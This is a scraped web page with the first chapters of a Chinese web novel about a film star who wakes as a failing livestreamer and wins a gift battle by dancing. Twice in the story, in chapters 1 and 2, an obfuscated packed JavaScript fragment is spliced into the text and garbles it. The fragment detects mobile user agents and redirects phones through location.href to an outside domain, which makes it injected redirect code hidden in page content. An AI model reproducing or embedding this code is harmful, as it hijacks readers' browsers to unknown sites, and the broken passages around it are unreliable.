《十八线重回顶流》 1. 一 [她没事吧?] [希望没事啊,已经消失好几分钟了。] [赶紧回来啊喂,这把礼物PK都结束了,虽然你一分没得,但也不能打不过就玩消失??] [赌五毛,她肯定躲在椅子后面或者桌子底下] [麦乐鸡姐姐好牛啊,把大劈叉都干趴下了,是真的趴下了] [怎么这么没有敬业精神啊,愿赌服输好嘛] [喂,还回不回来啊,不回来老子就退直播间了] 林见微猛然坐起。 仿佛经历了一场漫长噩梦,她手脚发冷,额头渗着冷汗,整个人呼吸急促。 猛拍了几下脸颊,迫使自己清醒过来,抬起头,面前好像架着一部手机。 ??? 还没反应过来,屏幕上的弹幕滚屏划过: [诶嘿她回来了!] [我就说嘛,刚刚肯定是躲椅子下面了] [快点继续直播啊,这把PK已经开始了] [扬州大劈叉,你看得见我们说话吗?] 扬州大劈叉?? 这是什么狗屁名字?? 但是……为什么这个名字有种莫名的熟悉感?? 林见微揉了揉自己的脸——是一种陌生的触感。 “!”她内心惊叫一声,面前架着的手机里,一张陌生苍白的网红脸正阴森地盯着自己。 “救命,有鬼!”林见微惊恐叫出了声,整个人向后弹出好远。 屏幕里那张惨白的脸也向后弹开,单薄暴露的衣衫勾勒出凹凸有致的身形。 [大劈叉是不是抽风了?] [她刚刚说看见鬼了?] [我去,怎么还改成灵异局了呢。] [被九连败打蒙圈了吧,刚刚麦乐鸡姐姐连续九轮PK都以一万票的成绩遥遥领先,大劈叉怕是受不住了] [她有什么可受不住的?不是每天晚上都是这样吗??] [虽然但是……刚刚好像看见了大劈叉的全身啊,哦买噶,超有料] [我也想说!!平时只看见她的脸,现在见了身子,我滴妈,惊为天人。] 林见微,也就是扬州大劈叉,深呼吸了好几次,方才稍稍捋顺现在是什么情况。 她,曾经娱乐圈的顶流小花、新晋影后、乐盛一姐,一觉醒来变成了十八线靠暴露博出位的小网红,扬州大劈叉。 !!! 这是什么逼真的噩梦! 苍天啊,快让我醒来吧。 她反复拍打自己的脸,结果越拍越清醒,刚刚的头重脚轻感也不见了,周遭的一切都无比真实。 内心狂喊了几声救命,她吭哧吭哧爬回手机前,紧紧盯着屏幕里的那张脸—— 大波浪半掩下,苍白的脸显得格外瘦削,虽有浓妆加持,也难掩疲惫之态。 再看看直播间数据:自从开播后,总共有一百多人点了进来,但现在活跃的只有寥寥三人。 在她的脸怼到前置摄像头的时候,右上角的数字三凄惨地变成了二。 ……这,是不是有点惨啊。 她点开自己头像,进入主页,发现……主页的数据更惨,粉丝数16,发的帖子每一篇的点赞都不超过10个,评论区更是无人问津。 救命,这糟心的业务水平! 再看看四周:一个狭小的出租屋,地上随意摊放着各种衣服和鞋,远处杂七杂八地堆着两个破旧行李箱,还有一堆没开封或者开到一半的快递。 整个屋子简直没有下脚的地儿。 再抬头看看,屋顶的一角湿了一块,应该是因为漏水,就是不知道漏的是下雨的水,还是楼上洗澡冲厕所的水。 天呐,原主的生活状态怎一个惨字了得啊。 老式空调发出低声嗡鸣,头顶的吊扇呼呼转着,室内散着潮湿的热气。 林见微呆坐半天,仔细回想了之前的遭遇。 直到前几天,她还是万人瞩目的娱乐圈当家花旦,影视圈内一颗冉冉升起的新星。 她刚刚参加了《风华绝代》的首映礼,这是她参演的电影处女作。 首映礼上照相机快门咔嚓咔嚓响个不停,无数镁光灯从四面八方投射而来,围栏外无数记者争先恐后地将话筒递给她。 没有人会否认,她是娱乐圈星途无量的当红女星。 然而现在,她经常一夜堕落成了十八线靠博出位拼流量的小网红??? 救命,这一定不是真的。 仔细看看眼前的手机,她正和一个ID叫“Melody爱吃麦乐鸡”的人打PK。 她九连跪,每一把都跪得很惨,被人摁地上用力碾压的那种。 对面轻轻松松得了一万多分的礼物,而她这边,零蛋。 ……怎么回事,大劈叉的路人缘也太差了吧。 她振作精神强装笑容,试着对着屏幕吆喝了两句:“直播间的各位哥哥姐姐们,可不可以随便刷个礼物,一个币的也行……” 还没说完,对面就开启了新一波嘲讽模式: [你们瞧,大劈叉疯了] [香蕉平台最低的礼物不是五个香蕉币吗?] [都直播一年了,这点常识都没有,活该没分] 她和麦乐鸡的PK开的是公开模式,也就是说,对家粉丝说话她能看得一清二楚。 粉丝嘲讽暂时告一段落,正主下场了,麦乐鸡微笑着看着她,好意劝道:“评论区的宝宝们口下留情,做直播的都不容易。” 因为有滤镜,林见微不确定麦乐鸡的真实长相,但看上去有一种很强的网红感,磨皮瘦脸开得吓人。 她的声音软软的,是吸粉的一大优势。 林见微非常确信,麦乐鸡肯定和大劈叉有仇,不然,为什么非逮着她哐哐一顿揍? 她点进麦乐鸡的头像,想看看这到底是何许人也。 结果刚点进主页,她就□□沉默了—— 麦乐鸡粉丝数:11.6万。 再看看麦乐鸡的直播数据:累计开播678天,今天累计直播2小时,累计观看人数5千,实时在线人数178。 ……打不过,打不过。 这是降维打击啊。 可是这样一个大主播,为什么非得可着她这只小蚂蚁欺负呢? 这时麦乐鸡又开口道:“大劈叉,还剩两分钟哦,我们约定过的,如果你连输十把,就要当众把长发剪短十厘米。” 林见微:卧JB操?? 麦乐鸡笑吟吟地说:“怎么这么惊讶,忘了原来更劲爆的赌注了?这已经够温和了,是你死乞白赖央求来的。” “还有九十秒哦。” 林见微气急交加,她知道主播PK输了之后会有惩罚,但一般也就是点到为止,随意整蛊一下,哪知道是这么羞辱人的。 大劈叉的头发确实好看,齐胸长发乌黑发亮,没有一丝干枯毛糙,比她当演员时一天烫染八百次的头发质量好多了。 评论区已经开启嘲讽模式: [是她自不量力,非要和麦乐鸡姐姐连麦PK,现在还想耍赖] [是梁静茹给她的勇气吗,竟敢跟麦乐鸡姐姐叫板,哼哼,让你知道我姐姐的厉害!] [大劈叉,是你自己输了还不认怂,非要加筹码再比,现在搬石头砸自己的脚了吧] [录屏已准备好] 虽然不是自己的身体,但林见微实在不忍心毁坏,毕竟大劈叉本人硬件条件真挺好的,放娱乐圈也能吊打一片。 她只得卖力吆喝起来:“直播间的哥哥姐姐们,有没有心软的神能救救我……” 实时观看人数从2变成了1。 林见微点开观看名单,绝望地呼叫此刻唯一的观众:“穿皮裤的老烟枪……烟枪大哥,求求你帮帮我吧。” 也不知是不是上苍可怜她,两秒钟后屏幕上突然跳出若干五颜六色的糖果,宛若烟花般绚烂。 穿皮裤的老烟枪送出“糖果花束”! PK血条立刻从1万比0变成了1万比5千。 林见微睁大了眼,不可思议地捂住嘴巴,好半晌才惊叫:“天啊,谢谢烟枪大哥!!” 说着她激动地站起身,对着屏幕狠狠鞠了几个躬,语无伦次道:“谢谢您,太谢谢了……” 评论区立刻炸了: [什么??卧槽我没看错吧] [刚刚发生了什么??对面还有大哥??] [不可能啊,大劈叉打PK,从来没得过100分以上]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386744|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[我去什么情况,我要去对面看看] 大劈叉直播间的实时观看人数瞬间跳到10,又跳到20,都是麦乐鸡的粉丝跑来看热闹。 瞬间的流量增加吸引了几个不明情况的路人,进来后随手刷了几个小礼物。 比分:1万比5千1。 林见微激动得热泪盈眶,不住地感谢所有资助者,然而这时麦乐鸡却冷冷地说: “还有30秒。” 林见微“啊呀”一声大叫,干脆从椅子上站起,不停地对镜头鞠躬,搓手道:“各位走过路过心软的神,求求你们,让我赢吧,我不想剪头发……” 比分一直定格在1万比5千1,直到最后10秒,蹦到1万比5千3。 十、九、八、七…… 麦乐鸡开始倒数,声音冰冷如铁。 林见微继续祈祷奇迹出现:“烟枪哥哥,能不能再帮我一次,就这一次,拜托拜托……” ……三、二、一。 PK结果:麦乐鸡胜。 林见微傻眼地看着屏幕上“失败”两个灰色大字,又看着弹幕里滚动着对面的普天同庆: [恭喜麦乐鸡姐姐十战十胜!] [麦乐鸡是全能的神!] [撒花庆祝!] [大劈叉,快点剪头发!] 对面的积分从1万又蹦到了1万1,几位粉丝为了庆祝麦乐鸡的胜利,又顺手刷了些礼物。 麦乐鸡脸上满是胜利者的骄傲,她一面感谢粉丝们的礼物,一面眉毛微挑地看过来: “大劈叉,兑现诺言吧,说好了的,输一局剪一厘米的头发。” 林见微只觉有一团火游走在五脏六腑:这也太欺人太甚了,竟然公然搞霸凌。 如果她明天再输了呢,要剪到出家当尼姑的地步吗?? 评论区还是一阵冷嘲热讽,不少人催促道:快剪啊,愿赌服输嘛。 林见微想了想,决定耍赖。 大劈叉本来就没多少粉,直播数据惨淡无比,何必如此较真? 再说了,她刚刚穿进来,不需要为原主的行为负责。 然而,正当她准备下播开溜时,麦乐鸡似乎看穿了她的心思,冷冷吐道:“你要是逃避惩罚,平台会按直播违约处理,把你这一个月的收入都没收哦。” 林见微:!!?? 看看这四面漏风一面漏水的房子,看看这满地满床的破烂衣服,可想而知原主的生活有多拮据。 如果拿不到这个月的收入,那她岂不是刚来就要饿死在这里?? 史上最悲惨最短命的穿越者。 不不,她不能创造这个记录。 定了定神,她狠下心起身翻箱倒柜,在一个抽屉里找了把剪刀。 回到屏幕前,她举起剪刀,评论区里立刻一片起哄: [录屏开始!] [来了来了,要剪头发了] [麦乐鸡姐姐威武霸气] 麦乐鸡微笑地看着她,锥子脸尖得好似能把屏幕戳破,眼睛里写满了嘲讽。 林见微左手食指拇指张开,就着头发比出十厘米的长度,右手将剪刀放在食指处。 [不够不够,明显少了,多剪一些!] [呵呵,剪个头发还放水,真行] [大劈叉你听见没,还得再多剪一些!] 剪刀张开,顺滑黑亮的头发被剪刀卡住,林见微拿着剪刀的手微微颤抖。 时间变得漫长,评论区还在不停滚动,但有那么几秒,林见微似乎网不好卡住了,保持着原来的姿势一动也不动。 评论区的人渐渐丧失耐心:[喂,大劈叉你网卡了!] [大劈叉可能没钱交宽带费] [笑死,宽带费才几个钱?刚刚她的大哥已经刷了5百了] 麦乐鸡也凝神看着,眉头微蹙,心想这个节骨眼上网卡了,那岂不是让大家错过了最精彩的一幕。 然而下一秒,林见微突然放下剪刀,转头看过来。 “不,咱们再比十轮。” “如果我还是输了,那就惩罚加倍,我把头发全剃光。” “但如果我赢了,你就接受同样的惩罚,把头发剃光。” 说着她微微挑眉:“你敢吗?” 2. 二 林见微如此的争强好胜,源于她原本的生活。 五年前她还是娱乐圈里的一个十八线小透明,每天都经历备戏、试戏、被拒、再备戏的死循环。 那时她每天都灰头土脸地各处跑剧组,有时会为了一个极为渺茫的机会连夜穿过大半个中国,试完戏再马不停蹄赶到下一个剧组。 多少简历石沉大海,多少一起并肩奋战的小伙伴最后坚持不下去纷纷转行回老家。 然而她咬牙坚持下来了,为了拍摄下水的戏,漫天飞雪的天气她二话不说就跳下漂着冰的水,生病发烧也闷头不吭,夜里打点滴第二天坚持拍摄。 在悬崖上吊威亚,连替身看了都害怕,她一把抢过设备套在自己身上,面不改色地在悬崖边飞来跳去,高质量完成了所有的动作戏。 她是出了名的拼命三娘,合作过的导演都对她竖起大拇指。 渐渐地她戏路打开,从一个籍籍无名毫无背景的小演员变成了娱乐圈炙手可热的当家花旦,走到哪里,镁光灯就追到哪里。 所以她坚信,只要努力就有收获。 如果没有,那就再咬牙多努力一下。 所以现在,她不甘心屈服于十比零的PK结果。 毕竟,前九局都不是她本人打的。 麦乐鸡瞪着她,满眼的不可思议和傲慢嘲讽:“你确定??” “你确定要剪掉自己的所有头发??” 林见微呵呵一笑:“比赛还没开始,你怎么知道一定是我要剪头发?” 麦乐鸡一时顿住,犹豫一下还是说道:“你真是疯了,我好心提醒你,如果你这次再推诿,平台不仅会扣除你本月的所有收入,而且下个月不会给你推流。” “我奉劝你仔细想想。” 流量,是主播的立身之本。 没有推流,相当于断了主播的生路。 这是釜底抽薪的惩罚。 但林见微只是微微一笑:“好,我接受。” “前提是,你也要接受同样的惩罚,如果你输了,不仅要剃光头,下个月也不会有推流。” 麦乐鸡看她如看一个疯子,她怎么也没想到,向来唯唯诺诺的大劈叉今天竟然这么硬气。 她是不是不想活了。 麦乐鸡盯了她良久,眼神里充满审判和怜悯,好似在说:我在给你机会反悔,你最好收回刚刚的话。 评论区里早就炸了锅,众人都觉得大劈叉今天吃错药了,竟然主动自掘坟墓。 [麦乐鸡姐姐待会儿手下留情啊,和气生财嘛] [奶奶别打那么重,仔细手疼] [这大劈叉也太不知天高地厚了,我们姐姐给台阶都不下,愚蠢!] 林见微却自始至终都坚定地看着麦乐鸡:“我问你话呢,你接受这个挑战吗?” 麦乐鸡的脸色阴沉得风雨欲来,她瞪着林见微,半晌薄唇里吐出几个字:“好,那就开始吧。” 第一场PK开始,计时五分钟。 刚开局的前三十秒,麦乐鸡就瞬间积累了五千分。她粉丝数是大劈叉的近百倍,随便一出手就能把大劈叉摁在地上使劲摩擦。 林见微也不气馁也不吆喝,干脆切出香蕉直播,搜索了一首叫《一路向前》的音乐。 下载好音乐,她又切回来: “各位,我给大家献丑跳个女团舞,希望大家喜欢。” 评论区的众人百脸懵逼:[她刚刚说她要跳舞?] [大劈叉什么时候会跳舞了?] [是我听错了吧,她不是一直是个无聊得要死,只知道聊天擦边的主播吗??] 《一路向前》的前奏响起,4/2拍动感十足的音乐让人忍不住想跟着一起舞蹈。 没有什么能够阻挡我的一路向前 满地泥泞是为了跌倒后爬起来走得更远 大雨瓢泼是为了让明天的彩虹更加鲜艳 我相信努力总会兑现 我相信人生终将迎来雨过晴天 林见微纵情跳了起来,动作大开大合力量感十足,但脸上表情却始终带着甜美动人的笑容。 一时间直播间沉默异常,过了十几秒钟,评论区终于爆发了: [天呐,叔不知婶知,大劈叉竟然会跳舞,而且跳得也太好了叭。] [不可思议,这必须给个赞] [+1,这舞姿这功力,绝对值得一张人气票] [对不起麦乐鸡姐姐,我是你的忠实粉丝,但这把我必须站大劈叉] [纯路人,主播姐姐好美丽好可爱啊!送你一朵小花花] [从没觉得她身材这么好过,全身没一块赘肉,还有那双疑似2米的大长腿!] [路转粉了,准备关注了] 一曲结束,第一轮PK还剩三十秒钟,麦乐鸡的票数还停留在五千多一点,而林见微早已完成零的突破,获得了史无前例的一千分。 粉丝数也从可怜的16一瞬间变成了80,翻了几番。 第一轮PK还是麦乐鸡取胜,但她的脸上毫无胜者的喜悦。 林见微十分确定,如果没有滤镜的加持,麦乐鸡的眉毛鼻子早就气歪了。 麦乐鸡狠狠地盯着她,过了好半晌才咬牙切齿道:“你什么时候偷偷学了跳舞?” 林见微冷冷一笑:“怎么,看见我得分不爽?” 麦乐鸡冷哼一声:“再来,第二把马上开始。” 积分清零,倒计时又恢复到五分钟。 这一把,麦乐鸡没有像刚刚那样只是沉默着,转而向自己的粉丝们撒娇拉票: “各位哥哥姐姐们,这一把就帮帮我吧,求求你们啦,比心哦!” 说着她嘟嘴眨眼,极尽可爱之态。 麦乐鸡长得偏御姐挂,但声音温软好听,十分吸粉,有时候她直播甚至不开视频只开声音,即便如此也吸引到不少新粉。 她这么一番卖力表演确实有效,第二把PK一开始,几位大哥就给她上了三千多分。 麦乐鸡喜笑颜开,一一感谢大哥的支持,又继续撒娇卖萌,不松懈地拉票。 这边林见微干脆单曲循环播放《一路向前》,比刚刚更卖力地跳了起来。 她很久没跳这支舞了,刚刚只是热身,有些动作还带着生涩,现在状态愈跳愈佳,第二遍的时候已经流畅至极,举手投足行云流水。 她的本职是演员,所以舞蹈是半路出家学的。 她为了塑造《风华绝代》里舞蹈演员邹芳菲的角色,专门找了个老师苦练了近一年的舞蹈。 她一向肯吃苦下苦功夫,所以虽然不是科班出身,但经过一年的拍摄和训练,舞技大大提升,放在女团里也不拖后腿。 她刚舞动起来的时候,刚刚从麦乐鸡那里逃票给她上分的人又送出礼物,而且这一次比上一次送得还大。 由于实时观看人数的提升,直播间又吸引了不少路人驻足观看,众人纷纷惊叹于林见微的舞技,直接点赞关注送小礼物一条龙服务。 《一路向北》音乐结束,林见微气喘吁吁地看向屏幕: 直播间的实时观看人数已经达到70,她也得到了两千多分。 屏幕上蹦出一条系统消息:恭喜你,在主播PK中获得了两千分,达成“人气主播”成就! 看来这是大劈叉开播以来个人最好成绩。 距离第二把结束还剩不到三十秒,麦乐鸡那边得了六千多分,所以这一把还是麦乐鸡胜。 第三把紧接着开始,麦乐鸡开始更卖力地撒娇卖萌,一分钟内至少使用了“求求你啦”“拜托拜托”“你最好了”撒娇三连二十次。 然而这一把麦乐鸡的粉丝们似乎有些疲软,麦乐鸡吆喝了一分多钟,也只收获了两千多分。 反观对面,林见微依然在重复跳着《一路向前》,分数大有赶超之势,一分钟的时候已经上了一千五百分。 评论区里涌现出[前排看热闹][这把大劈叉要反超啊][有没有大哥救场??][快救场,不然麦乐鸡姐姐就凉了!] 两分多钟的时候麦乐鸡的声音里已经充满了哀求:“王哥李哥,可不可以救救我啊,拜托拜托!” 然而王哥李哥等众位大哥都纷纷沉默起来。 还差一分钟的时候,麦乐鸡和大劈叉已经平分了。 评论区爆炸了:[天呐,大劈叉今天要创造历史啊][完了完了,麦乐鸡姐姐真的要剃头出家了][不要啊呜呜呜,不想看麦乐鸡姐姐剃头!!] 麦乐鸡都要哭了,不顾一切地喊了起来:“各位大哥,救救小女子吧!滴水之恩当涌泉相报,小女子以后一定好好伺候各位哥哥们。” 倒计时三十秒,林见微那边不知是哪位大哥空投了一千多分,比分一下子反超。 倒计时二十秒,麦乐鸡这边的王哥还是出手了,直接甩出两千分。 倒计时十秒,李哥出手守塔,抛下两千分,最后麦乐鸡以五千五比五千获胜。 当橘红的“胜利”二字出现在屏幕上时,麦乐鸡长出了一口气,眼泪都要下来了。 “谢谢大家,谢谢……”麦乐鸡的声音有些哽咽。 第四把开始的时候,林见微暂停了《一路向前》的音乐,向麦乐鸡喊话:“你准备好剃头了吗?” 麦乐鸡气得全身发抖:“你不要太嚣张得意!我们这边的哥哥都很宠我,只是不想让你输得太难看而已!” 林见微呵呵一笑:“死到临头,还是嘴硬。” 说着她摁下播放键,《一路向前》继续开始。 不得不说,虽然林见微的舞蹈远达不到专业舞者的水平,但放在业余舞者里还是非常抗打的。 而且外行看热闹,直播间的观众也不懂舞蹈,只是单纯欣赏林见微甜美的长相、玲珑有致的身材、曼妙而不失力量感的舞姿。 随着散客的增加,林见微的分数一下子遥遥领先,在第四把开局两分钟的时候已经达到两千多分。 反观对面,麦乐鸡只收获了一千分。 对面的紧张肉眼可见,麦乐鸡神情焦躁,低头不知在干什么。 额前长发遮住了她半张脸,但她好像在着急打字,没顾上整理头发。 开局三分钟的时候,林见微继续以三千分比两千分的优势暂时领先。 然而大好的局面突然在四分钟开始的时候扭转——麦乐鸡这边突然上了五千分,比分一下子变成了三千比七千! 评论区也炸了:[还是郭哥出手阔气!][郭哥好久不见啊!][郭哥不是退网了吗怎么又回来了?][这还用问,英雄救美来了呗] 原来刚刚麦乐鸡紧急给之前一直支持她的一位大哥,“郭靖爱黄蓉”,发了消息。 这位仁兄以出手霸气著称,以一己之力将许多小主播奶成了头部。 一条“郭哥,快来救我!”的微信刚发出去,对面就过来了,看了PK形势直接丢出五千分。 见局势瞬间扭转,麦乐鸡的粉丝们纷纷硬气起来,吹捧和嘲讽技能拉满: [郭哥威武霸气!!] [这下看大劈叉怎么翻身呵呵] [大劈叉黔驴技穷啊,跳来跳去不就一支舞蹈?] [郭哥都来了,对面输定了] 果然,第四局结束的时候,麦乐鸡的分数已经超过一万,而林见微这边只有五千分。 麦乐鸡的高傲冷笑已经溢出屏幕:“大劈叉,已经不用打了,我们这边的哥哥发力了,你死定了。” “我劝你提前认输——你要是现在认输,我们就执行剃头的惩罚,限制推流什么的就算了。” 林见微当然不乐意,煮熟的鸭子突然飞了,她心有不甘。 上一次发生这样的情况,还是在电影《风华绝代》的首映礼上。 照相机快门咔嚓咔嚓响个不停,围栏线外的记者们争先恐后地将话筒向前伸着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386745|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >无数镁光灯从四面八方投射而来,聚焦在林见微那张令人见了无数次还是要暗暗惊叹的美丽绝伦的脸上。 “林见微小姐,这是您参演无数电视剧后第一次涉足电影领域,处女作就有大导演强IP加持,还能饰演女一号,请问您现在感想如何?” “林见微小姐,今天是您演艺生涯中最重要的日子之一,请问您男朋友陈怀顾有来到现场为您加油打气吗?” “林见微小姐,听说在电影筹拍的过程中高源资本意外撤资,您为了稳住投资和聚力资本签下高风险的对赌协议,请问这件事是真的吗?” 林见微面对众多提问者露出甜美笑容,深红色的晚礼服恰到好处地勾勒出纤瘦婀娜的身形,一头乌发将她的皮肤映得瓷白无暇。 镁光灯和快门声如潮水般倾泻涌入,所有人的目光都聚焦在林见微脸上,不放过一丝一毫的细微变化。 这时,她的经纪人严天寒从一旁快步走上,挡在前面,对着众位翘首以待的记者说: “今天的采访就到这里吧,距离首映礼还有半小时,我们后面还有好几位演员在等待采访。” 说完,她不由分说地将林见微拉下台子,示意她去礼堂等着电影首映。 礼堂的冷气开得很足,但身着单裙的林见微却一点也不觉得冷。 今天是她的大日子,是决定她未来职业生涯的一天,电影《风华绝代》的成败将直接决定她的命运。 首映礼非常成功,125分钟的片子讲述了民国女演员邹芳菲哀婉的一生,如一曲婉转的江南小调,清丽哀婉。 影片的开头用唯美的画面迅速将观众吸引进去,众人随着剧情起伏时而揪心时而开怀一笑,影片结束时室内回荡着一片叹息。 礼堂的灯渐次亮起,众人却依旧沉浸在剧情中,坐了几百人的礼堂里寂静一片。 不知过了多久,室内响起零星拍掌,星星之火瞬间燎原,如雷掌声响彻礼堂,众人起立,向坐在前排的电影主创人员致以诚挚敬意。 一切都向着好的方向发展,但一则突发新闻却打破了一切。 就在林见微站在台上接受采访时,台下突然一片哗然。 虚空中仿佛出现了一只看不见的手,抹去了一切表情,然后安上了整齐划一的惊讶神色。 时墨集团大少爷时穆飞宣布和小麋鹿离婚,二人仅结婚三个月。 主持人立刻撇下还站在舞台前端的林见微,将话筒调转向站在后排一角的时闻。 时闻,饰演《风华绝代》里的男三号,娱乐圈出了名的山顶洞人,极其低调,周身散发着清冷矜贵的气质。 林见微在首映之前的采访注意到他了。 采访安排在温度高达三十度的室外,附近的知了不厌其烦地鸣叫着,采访进行了近一个小时,所有人都等得心焦,不停擦汗。 但炎热的气温似乎丝毫没有影响到时闻,他默默站在采访队伍末尾,深灰色西装勾勒出瘦削挺拔的身形,脸上是一副宠辱不惊的淡然。 他轻倚栏杆,周身都是漫不经心的优雅和沉稳。 影视圈内从不缺帅哥,但像时闻这样清冷矜贵,神秘禁欲的气质,还真是独一份。 “时闻老师,请问您对时穆飞离婚有什么看法吗?”首映礼结束,主持人将话筒递给站在后排的时闻。 所有的目光排山倒海般倒向他。 时闻在圈内是出了名的低调,入行之后一直兢兢业业默默无闻地拍戏,以至于很久之后人们才意外发现,他和嚣张跋扈的时墨集团大少爷时穆飞,竟然是亲兄弟。 此时的时闻面色凝重,眉头紧锁,嘴唇抿成一条直线。 他看向主持人,面无表情地说:“我对此事没有评论。请继续提问和《风华绝代》电影有关的问题,这部电影是一件珍贵的艺术品,凝聚了所有主创近一年的心血。” “这里是首映礼,不是新闻八卦发布会。” 台上台下一片哗然。 时穆飞离婚的消息仿佛地震一样,把首映礼震得七零八碎,所有人都无心再关注电影,之后提的问题也都和《风华绝代》打不着关系。 后来几天,《风华绝代》的票房远未及预期,因为同期上映的另一部电影是时穆飞筹拍,小麋鹿主演的。 因为票房拉垮,林见微为了《风华绝代》签下的对赌协议有极大的概率完不成了。 屋漏偏逢连夜雨,焦头烂额之际,后院也起火了,她发现她亲爱的男朋友,娱乐圈三线男星陈怀顾,手机里竟然有一些不堪入目的消息。 那晚,陈怀顾让她用他的手机点外卖,正浏览的时候,一则令人瞳孔地震的微信消息蹦了出来: [爸爸,今晚过来吗?][亲亲][爱心] 林见微看了好几次,才确认她没有读错。 她和陈怀顾没有子女。 点进微信,手指下划,没有历史消息。 很明显,陈怀顾清空了二人的过往消息。 她思忖片刻回道:[再过几个小时,你吃饭了吗?] 对面秒回:[还没呢,在等你吖,宝宝你真的过来吗,不和你家母老虎过夜?] 一股火气蹭地窜了上来,但手指却冰冷无比,林见微咬唇,不可置信地看着手机屏。 半晌,她回道:[她没你重要,对了宝贝,咱俩一周年纪念日快到了,想要点什么,我过两天给你买。] 对面回道:[一周年纪念日?咱俩不是两年前认识的吗,你老糊涂了吧哈哈!] [我想要个包,爱马仕最贵最大的那种][坏笑][斜眼看] [开玩笑啦,你陪在我身边就是我最想要的!][爱心][爱心] 新消息一条一条活泼地跳出来,林见微的心越来越冷。 她和陈怀顾在一起三年了,和着至少有三分之二的时间,他都在和别人撩|骚。 这个撩|骚的人,不是别人,正是扬州大劈叉。 3. 三 林见微终于想起来,为什么扬州大劈叉这个名字怎么耳熟了。 她好想撞墙,把灵魂从这副躯体里撞出来。 但她不能撞墙,因为现在还开着直播,大劈叉还在和麦乐鸡打着PK,已经十四连跪了。 如果再输下去,大劈叉,也就是现在的她本人,不仅要当众剃头,还要面临着未来一个月没有收入的惨境。 第五把PK开始,麦乐鸡愈发地趾高气昂。 “劈叉妹妹,听人劝吃饱饭,我可不是跟你闹着玩的。” “你再输几把,再想耍赖,平台和公司都不会答应。” “我家哥哥可是很宠我的,你根本不可能赢的了。” 林见微刚想说什么,手机突然响了一下。 您有一条新的微信消息。 点开一看,竟然是麦乐鸡的。 [我已经给榴莲哥和狮子哥都发了微信了,他们下一把就抵达战场了] [你输定了,等着成为整个平台的笑话吧] 咦,原来大劈叉和麦乐鸡互有微信,看来她们私下里认识。 迅速往上翻了翻,发现两个人其实很久都没说过话了。 最近的一次联系是在五个月前,麦乐鸡发来消息: [亲亲,我最近要录一个价值十万的开箱视频,但我男朋友这周送了我价值二十万的东西,唉选择困难症犯了,好头疼。] [宝你有空的时候能不能来帮我做做选品?] 大劈叉没回复,过了两天麦乐鸡又说: [宝,我这周末要在我男朋友新给我买的五百平大别墅开乔迁派对,你一定要过来玩啊!] 消息底下,麦乐鸡发来一张照片,她穿着波西米亚风曳地长裙,拿着香槟,灿烂的阳光映在她笑意盈盈的眼角。 她优雅地坐在亚麻白室外沙发上,背后是露天阳台,碧蓝的泳池在阳光下波光粼粼。 大劈叉当时只回复了一句:[有空再约。] 再往上翻聊天记录,麦乐鸡和大劈叉两个人几乎是同时做主播的,麦乐鸡是大劈叉的引路人,带她入行,给她介绍公司。 一开始两个人都是小透明,所以关系非常要好,经常一起吐槽直播间里遇到的奇葩事,周末约着逛街吃漂亮饭。 但是后来,麦乐鸡热度渐渐上去后,两个人之间生了嫌隙。 麦乐鸡开始暗戳戳炫耀自己买的包、表、首饰,之后又攀上了老钱男友,愈发不可收拾地 炫耀起男友送的豪车豪宅。 两个同时做主播的姐妹,一个已经飞黄腾达,变成富婆走向人生巅峰,一个却还挤在这个 老旧潮湿,天花板漏水的狭小一居室里。 真是天壤之别。 难怪两个人的PK这么剑拔弩张。 这么一分心,第五把已经过去一分半钟,麦乐鸡以五千分遥遥领先,她这边只得了五百多分。 暗叫一声不好,林见微赶忙重新放起《一路向北》的音乐,然而这时弹幕里满是不乐意: [大劈叉你能换一首歌吗] [耳朵都要起茧了] [大劈叉应该是只会跳这一首] [呵呵,刚刚不是说了吗,黔驴技穷了] 林见微犹豫片刻,心想还剩三分钟,现在换歌可能来不及了。 她满是歉意地对着镜头:“不好意思啊大家,大家先帮我加把力,我下一把就换歌。” 然后她灵机一动:“这样吧,大家可以点舞,价高者得。” 然而应者寥寥,更多人都在看热闹,没人付费。 林见微有点着急,第五局已经过半,麦乐鸡遥遥领先,看来刚刚她说的把两位大哥都叫来了,不是危言耸听。 深吸一口气,她搜索了一首叫做《劲》的歌。 这首歌很炸场,跳得好了一定能增加流量。 第五局还剩一分钟的时候,高分贝重金属音乐携着有力的鼓点扑面而来。 音乐响起的一瞬间,带感的节奏和摇滚的曲风瞬间将人带入灯红酒绿的昏暗迪厅。 一个沙哑低沉的男声大力嘶吼出一个字: 劲! 激烈的音乐瞬间燃起,林见微一改刚刚甜美可爱的女团风,甩出的动作大开大合,力量感十足。 劲爆的音乐响彻整个宇宙 无数的劲酒尽情地嗨 灯光逐渐熄灭和我脚踩节拍 所有人都来大声一起 say hi 低沉的 rap 强劲有力,整段音乐节奏极快,但林见微的动作酷炫带感,没有一点拖沓。 其实,在她前几个动作甩出来的时候,评论区就已经爆炸了。 [妈耶,这舞蹈也太厉害了叭] [我的妈,不吹不虚,这和原版比也不差] [比原版好多了好吗!!原版是男生跳的,从来没想象过,女生跳可以更带劲!!] [不敢相信大劈叉敢挑战内娱数一数二难的舞蹈,而且一点没崩!] [天啊,我只是路过看戏的,没想到看了场限量级演出] [这是什么神仙主播] 一首曲子下来要四分多钟,所以结束的时候第六把PK已经过半。 虽然她毫无悬念地输了第五局,但这一局她已经收获了三千多分,而麦乐鸡只有两千分! 